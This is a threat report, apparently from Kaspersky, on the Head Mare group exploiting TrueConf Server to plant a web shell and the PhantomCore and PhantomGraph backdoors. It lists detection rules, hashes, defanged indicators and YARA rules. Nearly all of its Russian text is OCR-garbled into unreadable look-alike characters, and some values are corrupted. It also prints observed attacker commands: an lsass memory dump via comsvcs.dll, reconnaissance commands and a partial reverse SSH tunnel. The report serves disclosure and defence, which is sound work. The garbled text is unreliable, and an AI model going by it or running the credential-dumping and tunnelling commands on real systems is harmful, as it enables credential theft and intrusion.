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Head Mare gocrasisier 63k40pbl PhantomCore u PhantomGraph

yepe3 HeoOHoOB/IeHHBIH cepBep TrueConf

By Kaspersky

Published: 2026-08-07 - Archived: 2026-08-14 02:01:57 UTC

UPD 10.08.2026: 1o6aBieHsI paByIa AJIst 3al{UThl KOMITAHHUMA, CT0/b3yroIMX Haury SIEM-cuctemy Kaspersky
Unified Monitoring and Analysis Platform (KUMA), a Takxe coObITUs /17151 pa3paboTKy COOCTBEHHBIX TTPAaBHUII

ZleTeKTUpPOBaHUs Ui nposefeHus threat hunting.

UPD 07.08.2026: no6aB/ieHo orvcaHye JeTeKTUPYIOIeli TOTHKY 110 BbISIBIEHHIO BPEZIOHOCHON aKTUBHOCTH C

nomotnpio Kaspersky Managed Detection and Response.

Oo0mme cBejeHHusa 00 aTake

B wurosne 2026 roga sxcreptsl «JIabopatopuu Kacnepckoro» 06Hapy»Kuiy HOBYEO aTaky rpynnupoBku Head Mare.
PaHee MbI K/IaCCU(PULIMPOBAIM 3TUX 37I0YMBIIIIEHHUKOB KaK XaKTUBUCTOB, HO TeTiepb npuuncisieM K APT-
rPyMIMPOBKaM BBUAY YCAOKHEHUs UCTI0/b3yeMbIX TTP 1 0TCYyTCTBUS /1€ CTPYKTUBHBIX MPU3HAKOB (LLIM(pOBaHue,
YHUUTO)KEHUE [JaHHBIX) B aTaKyeMbIX MHPpacTpykTypax. B cBexxeit kamnanuu Head Mare niposkcniyatupoBaiu
LIETIOUKY ys13BUMOCTel B cepBepe BueokoHpepeHiuii TrueConf 1 3aMeHUIM OpUTrHHAIbHBIE HHCTAJIITOPbI

kmeHTa TrueConf Ha 3apa)keHHBIe BePCHH, yCTaHABIMBAKOII[He B cUcTeMy BpefoHocHoe 10 PhantomCore.

B pesysnbrare uccneoBaHNs CKOMITPOMETHPOBAaHHOTO CepBepa ObIJIO YCTaHOBJIEHO, UTO 3/I0YMBIIIJIEHHUKH
WCTIO/Th30BAaJTU CBSI3KY W3 ZIByX HOBBIX YS3BUMOCTEM (MM MPUCBOEHBI BHyTpeHHUe uaeHTHGHKaTophl KLCERT-26-

057 u KLCERT-26-058), mo3BoJIsif011[y10 BLITIOTHUTD IMPOU3BOJIbHBIN KO/ C MaKCUMa/IbHbIMU TIPUBU/IETUSIMHU.
ATtaka IpoMCX0JUT B HECKOIBKO 3TaroB:

1. 1 3noymbIuTeHHUKY 6e3 TIpeiBapyTe/IbHOM aBTOpU3aluy MOogKI0daoTcs K cepBepy TrueConf mo mopry
4307/TCP, KOTOpBIi, COIIaCHO JJOKYMEHTAlMX TIPOAYKTa, OTKPBIT 10 YMO/TUaHUI0. ATaka puMeHuMa K
cepsepam TrueConf Bepcuii 5.3.X go 5.3.9, 5.4.X o 5.4.9, 5.5.X g0 5.5.5 u 6071ee paHHUX BEPCH.

2. 2 Tocsie MOAK/TIOUEHUsT 37I0YMBILIJIEHHUKU BbI3bIBaIOT (DYHKLIMIO CepBepa, C MOMOILIbIO KOTOPOU TMepeiaroT

BpE/IOHOCHBIN CKPUIIT U 3allyCKalOT ero Ha cepBepe. YSI3BUMOCTH, M03BOJISIIOILel BBIMOHUTG JJaHHbIH Tan

aTaku, TIPUCBOeH BHyTpeHHUM uzieHTHhHKatop KL.CERT-26-057.

3. 3 [onyueHHBIN CKpUMNT 3amyckaeTcsi Ha cepepe TrueConf B M3o/poBaHHO# cpefie. [To ymMomuaHuio
cucTeMHble (DYHKLIMY OTIepPaLMOHHOM CUCTEeMBI B 3TOM Cpefie HeIOCTYIHBI, YTO I0/KHO OrpaHUUKBaTh
BO3MO)XHOCTH BBITIOJTHSIEMOTO KOJja.

4. 4 [11 BbIXO/a 3a Npe/ie/ibl U30JIMPOBAHHON Cpe/ibl 3/I0YMBILLIEHHUKH 3KCIUTyaTUPYIOT BTOPYIO

VS3BUMOCTB, KOTOPO# MprCBOeH BHyTpeHHUH naeHTrdrkarop KLCERT-26-058. Skcryararus 3Toi

YA3BUMOCTHU I103BOJIAET oboiTu OrpaHnyveHud I/IBOHH[JOB&HHOﬁ cpefbl 1 HEPEﬁTH K BBITIO/THEHHWIO KOMaH/] B

KOHTEKCTEe Oriep auHOHHOﬁ CHUCTEeMBI.
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5. 5 INoce 06xXo/ja OrpaHUUeHUH Cpe/ibl 3/I0YMBIIUIEHHUKH TI0/Ty4aloT BO3MOYKHOCTD BBITIO/IHATE Ha CepBepe
TIPOM3BObHBIN KoZ, ¢ TpaBaMu yueTHoM 3armuc NT AUTHORITY\SYSTEM.

6. 6 TTosryurB MOBBILIIEHHBIE TIPUBU/IET T, 3/I0YMBIIIUIEHHUKY 3aMeHsIOT ¢aiin -++\public\js\locale.php Ha
Be0-111e/11, KOTOPBIM MOXKET MCIOJIB30BaThCs 1715 TIOC/IEIYIOILEr0 YaI€HHOTO YIIPABIeHHUs

CKOMTIPOMETHPOBAHHBIM CEPBEPOM.
OTOT Beb-11IeIT UCTIOTB30BAICA /ISl CIeAYIOIUX 1eHCTBUI:

e cbopa gaHHBIX 006 UT-MHGMPACTPYKTYpe;
* MO/IyUYeHHUs IPUBHIErMPOBAHHOTO OCTYTIA K 6a3e manHbix TrueConf;
* [O/IMEHbI OpUruHambHOro aucTpubyTrea TrueConf Client Ha 3apa)kKeHHBIH, KOTOPBI COEPXKUT OIKI0P

PhantomCore.

HWcnonb3oBaHHbIE 3/I0yMbILIJ/IECHHUKAMHU YA3BUMOCTH ObLIN 3dKPbITHI IPOU3BOAUTE/IEM B MMOC/IEAHEM

oouopnennu TrueConf Server (Bepcun 5.3.9, 5.4.9 u 5.5.5). D11 06HOB/IeHNs ObLIM BhINYIeHb! 18 utoHs 2026

rofa.
Baknop PhantomCore 6b11 ycremiHo o6Hapy»keH peliieHusiMU «JIabopatopuu Kacriepckoro».

515 aBTOMaTHueCcKoro 3amycka BpefoHocHoro I1O mocie 3arpy3ku CUCTeMbI CO3/IaeTCsl K04 peecTpa
HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-BOAC-
6F6A12D3E755}\InprocServer32, B KaueCcTBe 3HaUeHUsI KOTOPOMY YKa3bIBaeTCs My Th K (aiiy BpeloHOCHOM

MPOrpaMMmbl.

C nomorpto Beb-mmesia momuMo PhantomCore 3/10yMBIIIIEHHUKH 3arpy>KaroT 03K/10p, KOTOPBIN MbI Ha3BaIu

PhantomGraph, cocrosiumii u3 AByx Moaysneii:

e SysExcSvc.dll oTBeuaerT 3a nosiyueHue KOMaH/ OT 3/I0YMBILUIEHHUKOB U [1epefjayy pe3y/bTaToB UX
BBINIO/IHeHMs. B KauecTBe cepBepa yripaBnenus (C2) 3710yMbIIIIEHHUKY UCTI0/IB30BaIM aKKayHT B
obnauroM xpanunuiie Microsoft OneDrive.

e SysReadSvc.dll uyuTaeT KOMaHAY, MepejlaHHYIO TIepPBbIM MO/y/IeM, BBITIOJHSIET ee U COXpaHsieT pe3ysibTar

BBITIO/THEHI .

[17151 3aKpernyieHyst B CHCTeMe 3/I0YMBIIIJIEHHUKH BBITOJHSIOT 3aKOMPOBaHHY0 1pu romoIiny Base64 PowerShell-
KOMaH[Ty, KoTopast yctaHaBiuBana SysExcSvc.dll u SysReadSvc.dll B kauectBe cmy>xk6 Windows. Mbl
riojlaraeM, YTo 37I0yMBILLJIEHHUKY CTeLjMabHO pa3zeuiv 3Ty BPeJOHOCHYIO NIPOrpaMMy Ha /iBa KOMITOHEHTa,
yT0OBI 3aTPYAHUTE ee 0OHapykeHre cpeacTBamu Kinacca EDR. Kpome Toro, Kof MporpaMMbl YaCTUYHO COBIIAZIAeT

¢ koziom PhantomCore, 4TO CBU/IETENILCTBYET O ee TIPUHA/|JIEXKHOCTU K apceHany rpynnupoBky Head Mare.

Taxke Ham yAa/10Chb OGHHPY)KI/ITB KOMdH/bI, BBITIO/IHAEMbIE 3/IOYMBILNTJIEHHUKAMMU TMPU MOAK/IFOYEHNN K 69K,E[Opy

Mopaynb SysReadSvc BeinosHsieT komaHb! ¢ ioMolsto BATCH-daiina. IIprmep BbinosHeHUS:

1 $system32\cmd.exe /c cmd /c ""'$temp\cmd_cmd_4488.bat"" 2>&1
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O6Hapy>KeHHbIe KOMaH[bI:

 [lamm mamsTH Tporiecca lsass.exe:

" %a in (" "tasklist /fi “imagename eq lsass.exe” | find "lsass™"')

s.dll, #+868024 Xb \windows\temp\iazh.pdf full

i PaBBe,E[KEl HWIMEHHU I10/1Ib30BaTe/id U CUCTEeMBI:

1
hostname

2
whoami

3

4 "$system32\WindowsPowerShell\v1.0\powershell.exe" -noexit -command Set-Location -literalPath
'$system32\inetsrv'

5

 3amyck obparHoro TyHHess SSH:

ssh -o Strict (eyC ing=no -0 S

Kpome Toro, Mbl 0OHapY>KHJIM HECKOTLKO KOMaH/I, He pabOTaroIIMX M3-3a OIeuaToK aTaKkyroLMX U pobsieM c

KOAWPOBKaMMH.

MbI HabJTFOZIaeM HEeCKOJIbKO aKTUBHbBIX Kammanuii Head Mare, HarpaB/ieHHbIX Ha POCCUHCKYE OpraHu3aliui
Pa3IMYHBIX OTpacsei: MpUOOPOCTPOEHHs, MEKTPOHUKH, TPAHCTIOPTa, SHEPreTHKH,
WUT u pa3paboTKu MporpaMMHOT0 obecrieueHusi. 37I0yMBIIZIEHHUKH PACTIPOCTPAHSIIOT CBOU O3K/I0PHI Pa3/IMYHBIMU

MeTO[aMH, BK/IFOUasd Cl)I/ILLII/IHl", SKCIu1yaTaluro Hy6]'[I/I‘-IHbIX Be6-cepBepOB, d TAKXKe Yepe3s rnoApsiAuurKa.

MBpbI peKoOMeH/lyeM BCeM OpraHu3alusam, ucromb3yroium [10 TrueConf, ycTaHOBUTH aKTyalbHYIO BEPCHIO

cepepa (Bepcuu 5.3.9, 5.4.9 unu 5.5.5) B COOTBETCTBUM C peKOMeH/al[usiMU BeHZ0pa.

Takke MbI peKOMeH/[yeM yOeUThCS, UTO KJIMeHTCKUe AUCTPUOYTHBEI, 3arpykatomuecs ¢ cepeepa TrueConf,
WICTIO/Ib3YeMOT0 B OPTaHU3aLliH, UIMEIOT JelCTBUTeNbHYO0 IidpoByto ogmick TrueConf u He oMeHeHBI.
O6Hapy>KeHHbIe HAMH BPe/JOHOCHbIE AUCTPUOYTUBBI HE UMEIOT JeHCTBUTETBbHOM 1M poBoi noAnucy. [TpoBepuTh

MOA/TMHHOCTB MO>KHO TaK>Ke Ha carite IMPOKM3BOAUTE/IA.

BaskHo: [ja’ke ec/TH Ballla OpraHu3alus He ucronb3yeT cepBep TrueConf, COTPYAHUKYM OpraHH3aLdi MOTYT
TIOAK/TIOUATHCST K CKOMIIPOMETHPOBAaHHBEIM cepBepaM TrueConf KOHTpareHTOB /IJis yUaCTHs B OHJIAMH-COBEIAHHUSX

U1 3arpy>XaThb 3apa’KeHHble MHCTa/VIALMOHHLbIE TTaKeThI.

Bostee moipo6HO MeXaHM3M aTaKW U KCIO/Ib30BaHHBIE B HEH ysI3BUMOCTH OmMcaHbl Ha caiite Kaspersky ICS
CERT.
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JerekTHpoBaHue pemeHussMu «/laboparopun Kacnepckoro»

3amuTHbIe perieHns «JlabopaTopuy Kacmepckoro» ycrielHo 00Hapy>KUBalOT BPeJOHOCHYH0 aKTUBHOCTh B

PaMKaX OIMMCAaHHBIX aTak.

BpenonocHoe I10O, ucrons30BaHHOE B 3TOH araxe, 0OHapy)KUBAeTCs HALMMU pelIeHUsIMH CO CIe[yIOLIIMU

BepAUKTaAMMU:

o Backdoor.PHP.WebShell.abi,

e Backdoor.Win64.PhantomCore.dt,

e Trojan.Win64.Agent.smgvnc,

e Trojan.Win64.Agent.smgvnb,

o HEUR:Backdoor.Win64.PhantomCore.gen,
o HEUR:Backdoor.Linux.Agent.fb,

o HEUR:Backdoor.Linux.PhantomHook.a,
o HEUR:Backdoor.Linux.PhantomReact.a,
e Trojan.Win64.PhantomGraph.gen

e UDS:Backdoor.Win64.PhantomCore.a

Paccmorpum nogpo6Hee Ha npumepe Kaspersky Endpoint Detection and Response Expert (nanee — KEDR

Expert).

B wacTHOCTH, aKTUBHOCTD, CBsI3aHHast C OAMeHO JleruTUMHOTrO (aiina ---\public\js\locale.php Ha BeG-irie/,
a Takke yjjaJeHUeM 3arycel U3 )XypHaioB cobbituii TrueConf, ieTeKTUPyeTCs MPaBUIOM

unusual php file creation from trueconf process.

Process tree Event details

@ Sottng: % Vieweavodtraee [ Comments  ( Resot changes

3arpyska (atina, cogepkaiiero 63kgop PhantomCore, uepe3 mogMeHeHHbBIH JErMTUMHBIH (haii
\public\js\locale.php merektupyetcss KEDR Expert c momoIipto rpaBuia

unusual file creation from trueconf.
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Event details

FileMd5
FileName
FilePath
HostName
EventType
HostOsName

ParentProcessCmdline

ParentProcessFileFullname
ParentProcessFileMdb

ParentProcessFileName

ParentProcessFileOriginalna

me

ParentProcessFilePath

ParentProcessFileSha256

ParentProcessFileSignResult

ParentProcessFileSignTimest

amp

ParentProcessld
ParentProcessProperties
ParentProcessUniqueid
ParentProcessUserName

ProcessCmdline

ProcessDirectory
ProcessFileDescription
ProcessFileFullname
ProcessFileMd5
ProcessFileName
ProcessFileOriginalname
ProcessFilePath
ProcessFileProductname
ProcessFileProductvendor

ProcessFileSha2566

ProcessUserName

loA

ba696a408d62eeabaf26d004bc7f0254 v

SysExcSve dll v

C:\Program Files\TrueConf Server\httpconf\site\public\js v
trueconf-srv-win v

File Create

Microsoft Windows ServerStandard

"C:\Program Files\TrueConf Server\httpconf\bin\tc_webmgr exe" -k ru
nservice v

C:\Program Files\TrueConf Server\httpconf\bin\tc webmgrexe v
9f96d3cf81df99983ceded90dB8c2ad77 v
tc_webmgrexe v

httpd.exe v

C:\Program Files\TrueConf Server\httpconf\bin

198109590¢9b?18140180a7bb93b7f2253802d0adad45c?bbéc5edc
b802a81ecd8 v

false

60056-05-28 08.36:10.955

3700
BuiltinAdministrators,MaskAdmins,LocalSystem
-6026420527606346430

NT AUTHORITY\SYSTEM

"C:\Program Files\TrueConf Server\httpconf\bin\tc_webmgrexe" -d
"C:/Program Files/TrueConf Server/httpconf" v

C:\Program Files\TrueConf Server\httpconf\

Apache HTTP Server

C\Program Files\TrueConf Server\httpconf\bin\tc_webmgrexe v
9f96d3cf81df99983ceded90dB8c2ad77 v

tc_webmgrexe v

httpd.exe v

C:\Program Files\TrueConf Server\httpconf\bin

Apache HTTP Server

Apache Software Foundation

198109590c9b918140180a7bb93b7f2253802d0ad4a4bc?bbcbedc
b802a81ecd8 v

NTAUTHORITY\SYSTEM v
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Name Alert Severity Confidence  Technigues Tactics ID

unusual file creati.  Enabled = High High t1505.003 Persistence E2EBE7

AKTHBHOCTbD, CBsI3aHHAsI C YCTAaHOBKOM 3apa)kKeHHOTo MHCTaaTopa KeHTa TrueConf, KOTOpbIit cofep>KUT

63k10p PhantomCore, netektupyetcs KEDR Expert ¢ moMoibio rpasuia unsigned trueconf installer.

Process tree Event details

Wt W wewonadien  [OComments O Resstchanges [ —)

N

B POM Trojas Wind2 Benaric

Cepsuc Kaspersky Managed Detection and Response /1eTeKTUPyeT OITUCAHHYHO aTaKy C TIOMOLIbI0 MOHUTOPHHIA

CTIeAYIOLIUX AeACTBUI:

—_

. 1 Co3pmanne nomo3puTenbHbIX (aiinos rporeccamu TrueConf Server.

N

. 2 3amnyck uHCTansuonHoro daiina TrueConf Client, He numeroiero nogmucy paspabotunka IM1O.
3. 3 Iopo3puTeNbHBIE LIETIOUKH MPOLIECCOB, CBA3aHHBIX € UCTOHsieMbIME (aiiiamu TrueConf Client u
ucrosHsieMbIMU (aiiiamu o6HoBeHus TrueConf Client.
4. 4 Peructpaiyisi Iof03pyTebHBIX OMOIHMOTEK B pa3zere peectpa
HKEY_CURRENT_USER\Software\Classes\CLSID\.
. 5 [lelicTBUsI, CBSI3aHHBIE C IOMCKOM WH(MOPMAIIMH 0 TIporiecce lsass.exe .
. 6 Co3ganve jaMria maMsIiTH TIporiecca  lsass.exe C MCHosb3oBaHueM Oubmuoreku comsves.dll .

. 7 ObpatijeHye K MamsTy mpoijecca 1sass.exe .

o N o Ul

. 8 Co3pjanue TyHHesiell C MOMOILIBIO TIpoLiecca ssh.

[17151 3aLU Tl KOMIIaHUM, ucronb3ytomux Haury SIEM-cucremy Kaspersky Unified Monitoring and Analysis

Platform (KUMA), mocTyrmeH /st ckauuBaHusi B perio3utopri KUMA ony0/IMKOBaHHBINM paHee TTaKeT IMPaBUIT:

[OOTB] TrueConf. Head Mare campaign package — RU.
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l'[paBI/ma dKTYaJ/IbHBI /I TIOMCKa U AeTEeKTUPOBaHWA C/1eAYIOIINX yIrpo3:

1. 1 Co3panue nofo3puTenbHBIX (hatinos nporeccamu TrueConf Server ( tc_webmgr.exe u
tc_server.exe ):
TrueConf. [Togo3putenbHoe co3nanue daisio cepeepoM TrueConf (Windows+Sysmon).
2. 2 TTombITKa 3amycka HHCTaLIstioHHoro (daiiia TrueConf Client 6e3 mogmvcu pa3paborurka I10:
TrueConf. 3arpy3ka Henoagnuca#Horo MoAy/sA B nponecc kauenTa TrueConf (Sysmon).

3. 3 OTciexxrBaHye MoI03pPUTENBHBIX Tierouek rporieccoB oT TrueConf Server ( tc_webmgr.exe wu

tc_server.exe ):

TrueConf. ITogo3putensHoe co3paHue nporeccoB cepeepom TrueConf (Windows+Sysmon).

IeTeKkTHpOBaHNE JIOTIOTHUTEILHBIX TEXHUK JOCTYITHO B 001[eM Habope MpaBuit:

1. 1 Co3panue nofo3puTenbHBIX (aiinoB B aupektopun C:\Windows\System32\inetsrv\*:
R405_07_3anuck ¢aiisia B manky HaTUBHBIX MopyJiei IIS uimm OWA gepe3 WriteData.

2. 2 Co3aaHue Jamria MamsTy mporecca 1sass.exe ¢ MCMojb3oBaHueM oubmuoteku comsves.dll :
R233_04_JlamMn namsiTi nporecca c noMoimpbi comsvcs.dll.

3. 3 O0parieHue K MaMsITH Mpoijecca Lsass.exe :

R262_Tlopo3puTenbHbiii AocTyn K mporeccy LSASS.

Taxke AJIs pa3pa60TKH COOCTBEHHBIX NpaBu/I AE€TEKTUPOBAHUA WK MPOBEAEHUA threat hunting peKoMeHayemM

00paTUTh BHUMaHHe Ha CIeAyIOoIIre COOBITHS:

e PerucTpaiius roflo3puTesibHbIX 6ubroTek B paszese peectpa \Software\Classes\CLSID\{0340F119-
A598-4ed9-BOAC-6F6A12D3E755 \InprocServer32:

(DeviceEventClassID = '4657' OR DeviceEventClassID ='13")

AND FileName like '%\Software\Classes\CLSID\{0340F119-A598-4ed9-BOAC-
6F6A12D3E755}%' AND DeviceCustomString6 = 'InprocServer32'

o Co3ganue cayx6 SysExcSve u SysReadSvc st CKpBITOro 3amycKa UCTIO/THSeMBIX (haiiioB 13

BpeMeHHBIX IpeKTopuii uepe3 cmd:

1 DeviceEventClassID = '4697'

2 AND (DestinationServiceName = 'SysExcSvc' OR DestinationServiceName = 'SysReadSvc')

3 AND match (FileName,'.*cmd\s+V/c.*temp\\cmd_cmd_.*\.bat.*")

» CoszaHye Mofi03pUTEBLHBIX MTPOLIeCCOB OT rpouecca ooHoBneHuid TrueConf

( trueconf_windows_update.exe )
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1 (DeviceEventClassID = '4688' OR DeviceEventClassID = '1")

2 AND SourceProcessName LIKE '%\trueconf_windows_update.exe'

7151 KOppeKTHO# paboThI paBu/I 0OHApPYKeHHsI HeoOxXoAuMo yoeauThes, uto codbiTust ¢ Windows-crctem

TIOCTYTIAIOT B IMOJTHOM 00beMe, BK/Itouast cobbITus Security — 4688, 4663, 4657, 4697 u Sysmon — 1, 7, 11, 13.

KonTposibHbIe cymMblI (haiisioB (MD5)

Be6-m1esn
4d27b4eb1c5dbb3d8160f29b8119523e locale.php

3apa)keHHbIN YCTAaHOBIIUK
748c9f8cb1065000616204935f96207f trueconf_windows_update.exe

PhantomCore DLL

c5a460e4e68a088f6e51b2c6474642ec

129462164a7d52e9ea8560b60f0412¢5 doc.txt

ec0bf4a2186a88874e9f26f07cfeb532 usocacheddata.txt
b348642146ea34771e5785c5857950f5

€915cb6c2aeb863ee8479238e1644217 doc.txt

0e79996d9483d1e44fea32b0a48c2c19 doc.txt
2bb75c20e778eb5c416965bd4d4259b1 trueconf windows_client_x64 [redacted].exe
b3a6fee3307f1c26841fd5c603e2b013 usocacheddata.txt
8fcc3edccbf1725d9989fb464abf3561 usocacheddata.txt

PhantomGraph
489f43be558b2679284ceabed7adc4f3 sysexcsve.dll
dd1fd2b459b97b7d59375¢b8383cd19a sysreadsvc.dll
0e4541¢3153ec5ed01497f19cf4f63d0 sysexcsvce.dll
12d4e8£5295f2ef7e0f9bfc0f4830939 sysexcsvc.dll
7f267006cac10f341c356b62fe493527 sysexcsve.dll
€e2861d5965e8730708cd1da8a93fadc sysexcsve.dll

Bbakpop (ELF)
c3a2abe8756910f42582b04a44ea3514
43£435c3c437bc879a2d7d4634f43494

PyTkut

aee9642b45b099cb7f3053b9b680b425

IP
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https://opentip.kaspersky.com/748c9f8cb1065000616204935f96207f/results?icid=kl-ru_sl_tr-post-opentip_sm-team_ddbc4363c1764aee&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c5a460e4e68a088f6e51b2c6474642ec/results?icid=kl-ru_sl_tr-post-opentip_sm-team_22d6b98514586c13&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/129462164a7d52e9ea8560b60f0412c5/results?icid=kl-ru_sl_tr-post-opentip_sm-team_799449dd449336b1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/ec0bf4a2186a88874e9f26f07cfeb532/results?icid=kl-ru_sl_tr-post-opentip_sm-team_fafbd094575fee1a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/b348642146ea34771e5785c5857950f5/results?icid=kl-ru_sl_tr-post-opentip_sm-team_2d647a3a646535f9&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c915cb6c2aeb863ee8479238e1644217/results?icid=kl-ru_sl_tr-post-opentip_sm-team_6a5f71f5e2ede906&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0e79996d9483d1e44fea32b0a48c2c19/results?icid=kl-ru_sl_tr-post-opentip_sm-team_2777dbeb9491c684&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/2bb75c20e778eb5c416965bd4d4259b1/results?icid=kl-ru_sl_tr-post-opentip_sm-team_a564427620868742&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/b3a6fee3307f1c26841fd5c603e2b013/results?icid=kl-ru_sl_tr-post-opentip_sm-team_246aad603c6ad69d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/8fcc3e4ccbf1725d9989fb464abf3561/results?icid=kl-ru_sl_tr-post-opentip_sm-team_8e1c16cf823dfb57&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/489f43be558b2679284ceabed7adc4f3/results?icid=kl-ru_sl_tr-post-opentip_sm-team_1933ebfcc786f429&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/dd1fd2b459b97b7d59375cb8383cd19a/results?icid=kl-ru_sl_tr-post-opentip_sm-team_b056c0eccf724f11&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0e4541c3153ec5ed01497f19cf4f63d0/results?icid=kl-ru_sl_tr-post-opentip_sm-team_bfcf29f95fc6658a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/12d4e8f5295f2ef7e0f9bfc0f4830939/results?icid=kl-ru_sl_tr-post-opentip_sm-team_18305cda0b6a5084&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/7f267006cac10f341c356b62fe493527/results?icid=kl-ru_sl_tr-post-opentip_sm-team_5cab19f47de78cd6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/ee2861d5965e8730708cd1da8a93fa4c/results?icid=kl-ru_sl_tr-post-opentip_sm-team_ccc0a4e76c805082&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/c3a2abe8756910f42582b04a44ea3514/results?icid=kl-ru_sl_tr-post-opentip_sm-team_7c86bd2e846daa90&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/43f435c3c437bc879a2d7d4634f43494/results?icid=kl-ru_sl_tr-post-opentip_sm-team_e8becd9fdc5f1bb6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/aee9642b45b099cb7f3053b9b680b425/results?icid=kl-ru_sl_tr-post-opentip_sm-team_a2fb6707cecf5111&utm_source=SL&utm_medium=SL&utm_campaign=SL

https://securelist.ru/tr/head-mare-targets-trueconf-server-with-phantomcore/116557 /

81.177.32[.112
194.87.239[.]71 ssh
194.87.93[.]153 ssh
38.244.205].]1244
31.59.102[.161

JoMeHBI

penzadogshelterf.]site

trendy-market|[, ]site

bright-deals]. ]site

nova-stream|.|site

rinomobile[. Jink

urbanpixel[,]store

flexish[,]shop
media-hubl.]today

cosmetic-deals[.]store

IIyTu K daitiam

C:\Windows\System32\inetsrv\SysExcSvc.dll
C:\Windows\System32\inetsrv\SysReadSvc.dll
C:\Windows\System32\inetsrv\graphi-refresh.dat
C:\Windows\System32\inetsrv\share\input_*.txt
C:\Windows\System32\inetsrv\share\output_*.txt
%TEMP%\cmd_cmd_*.bat
%LOCALAPPDATA%\TrueConf\Client\api-ms-win-crt-time-11-1-0-2.dll
/etc/systemd/system/omicluster.service
/etc/systemd/system/schedul2-bin.service
/opt/acronis/bin/schedul2-bin
/omi/bin/omicluster

/usr/lib64/libzvbi-tchain.so.2

/var/tmp/cx2

HNmena cry:x06 Windows

SysExcSvc
SysReadSvc

Kirouu peectpa

HKEY_CURRENT_USER\Software\Classes\CLSID\{0340F119-A598-4ed9-BOAC-
6F6A12D3E755}\InprocServer32
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https://opentip.kaspersky.com/194.87.239.71/?icid=kl-ru_sl_tr-post-opentip_sm-team_94942607a240c7ad&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/194.87.93.153/?icid=kl-ru_sl_tr-post-opentip_sm-team_b4f765ec2f697959&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/38.244.205.244/?icid=kl-ru_sl_tr-post-opentip_sm-team_153a390bfcaee797&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/31.59.102.61/?icid=kl-ru_sl_tr-post-opentip_sm-team_86cf8f9b50ea3d69&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/penzadogshelter.site/?icid=kl-ru_sl_tr-post-opentip_sm-team_ff495c7ab122a382&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/trendy-market.site/?icid=kl-ru_sl_tr-post-opentip_sm-team_225200bc8e9b48b6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/bright-deals.site/?icid=kl-ru_sl_tr-post-opentip_sm-team_485a89f698f20902&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/nova-stream.site/?icid=kl-ru_sl_tr-post-opentip_sm-team_396df63cc5c3c798&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/rinomobile.ink/?icid=kl-ru_sl_tr-post-opentip_sm-team_85094d927c1c95d2&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/urbanpixel.store/?icid=kl-ru_sl_tr-post-opentip_sm-team_3fb120ed503ed06c&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/flexish.shop/?icid=kl-ru_sl_tr-post-opentip_sm-team_2938c7c98f9f5f18&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/media-hub.today/?icid=kl-ru_sl_tr-post-opentip_sm-team_7592c002d17221f3&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/cosmetic-deals.store/?icid=kl-ru_sl_tr-post-opentip_sm-team_7f688f86aff20fb9&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/vks.gossopka.forum/?icid=kl-ru_sl_tr-post-opentip_sm-team_5444f05e1ca8152d&utm_source=SL&utm_medium=SL&utm_campaign=SL
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BepauKThI 3al[UTHBIX pemieHni «/Iaboparopuu Kacnepckoro»

Backdoor.PHP.WebShell.abi
Backdoor.Win64.PhantomCore.dt
Trojan.Win64.Agent.smgvnc
Trojan.Win64.Agent.smgvnb
HEUR:Backdoor.Win64.PhantomCore.gen
HEUR:Backdoor.Linux.Agent.fb
HEUR:Backdoor.Linux.PhantomHook.a
HEUR:Backdoor.Linux.PhantomReact.a
Trojan.Win64.PhantomGraph.gen
UDS:Backdoor.Win64.PhantomCore.a

YARA-npaBuia
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import "pe"

rule apt_HeadMare_PhantomCore

meta:

description = "Rule to detect PhantomCore used by HeadMare"

author = "Kaspersky ICS CERT"
copyright = "Kaspersky ICS CERT"
version = "1.0"

last_modified = "2026-08-02"

hash = "c5a460e4e68a088f6e51b2c6474642ec"

strings:
$al = "lying.dll" ascii
$a2 ={ 2D 7F 954C 2D F4 51 58 }
$a3={4F 8167 F7 7E 7B 05 14 }

condition:

(uint16(0) == 0x5A4D) and (filesize &gt; 4MB) and (filesize 20MB) and (all of them) and

(pe.number_of_signatures == 0)

rule apt_HeadMare_FakeConf_installer

{

meta:

description = "Rule to detect any unsigned TrueConf installers"

author = "Kaspersky"
copyright = "Kaspersky"

version = "1.0"
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last_modified = "2026-08-02"

hash = "748c9f8cb1065000616204935f96207f"
